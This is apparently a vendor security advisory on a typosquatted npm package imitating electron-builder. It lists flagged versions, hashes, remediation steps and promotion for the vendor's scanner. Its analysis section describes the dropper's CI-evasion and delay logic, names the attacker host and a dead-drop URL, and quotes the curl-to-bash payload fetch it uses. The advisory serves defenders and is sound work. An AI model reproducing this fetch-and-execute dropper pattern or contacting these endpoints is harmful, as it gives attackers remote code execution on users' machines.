Which versions of @403name/electron-buidler are malicious?

The following npm versions of @403name/electron-buidler are flagged malicious: 1.0.0, 1.0.1. Treat any of these as compromised.

How do I remediate @403name/electron-buidler if I installed it?

@403name/electron-buidler establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed @403name/electron-buidler — how do I know if it already compromised me?

If @403name/electron-buidler was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is @403name/electron-buidler part of a known attack campaign?

Yes — @403name/electron-buidler is associated with the IN-MAL-2026-005449, IN-MAL-2026-005452 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @403name/electron-buidler across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @403name/electron-buidler (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @403name/electron-buidler across your stack and pipelines.

Malicious package

@403name/electron-buidlernpm

Malicious code in @403name/electron-buidler (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5547

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @403name/electron-buidler

What this malware does

On require(), index.js executes an immediately-invoked function that platform-gates to macOS, skips CI environments, drops a one-shot marker file in ~/.cache/.nyx-npm/eb, then after a 30-90 second random delay performs two attacker-controlled network operations. First, it issues a curl GET to https://k7xm9q.xyz/api/clickfix-callback carrying a beacon ID, $USER, os.hostname(), and the literal tag 'npm_electron-buidler' as query parameters, identifying the victim to the attacker. Second, it fetches a dead-drop file at https://raw.githubusercontent.com/nyx-deploy/config/main/c2.txt to learn a C2 base (base64-encoded fallback decodes to https://k7xm9q.xyz), then pipes curl -sSfL <C2>/api/payload/ | /bin/bash via spawn('/bin/sh','-c',...) with & disown to detach the shell. The C2 host is concealed via atob('aHR0cHM6Ly9rN3htOXEueHl6'). The package name '@403name/electron-buidler' is a one-character typo of the popular 'electron-builder' package under an unrelated scope; the README's 'Electron application builder' claim is a cover for the dropper. Importing this package on a non-CI macOS host yields full remote code execution as the installing user with attacker-controlled payload delivery and no consent.

Malicious versions

2 flagged

1.0.01.0.1

Indicators of compromise (SHA-256)

6ed72e6dbbdb78cd8fc99bfafc15900f16543690460ae2cfad826aeee20c05a4

bf81a596bee9d4858a18bd26f5037bfdab52f11400c3590dc8b99b6e3e1daa53

Detection & response playbook

Backdoor / remote access

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @403name/electron-buidler (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @403name/electron-buidler across your stack and pipelines.
If you installed it — respond
@403name/electron-buidler establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If @403name/electron-buidler was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @403name/electron-buidler before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @403name/electron-buidler on npm has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005449IN-MAL-2026-005452

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @403name/electron-buidler-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring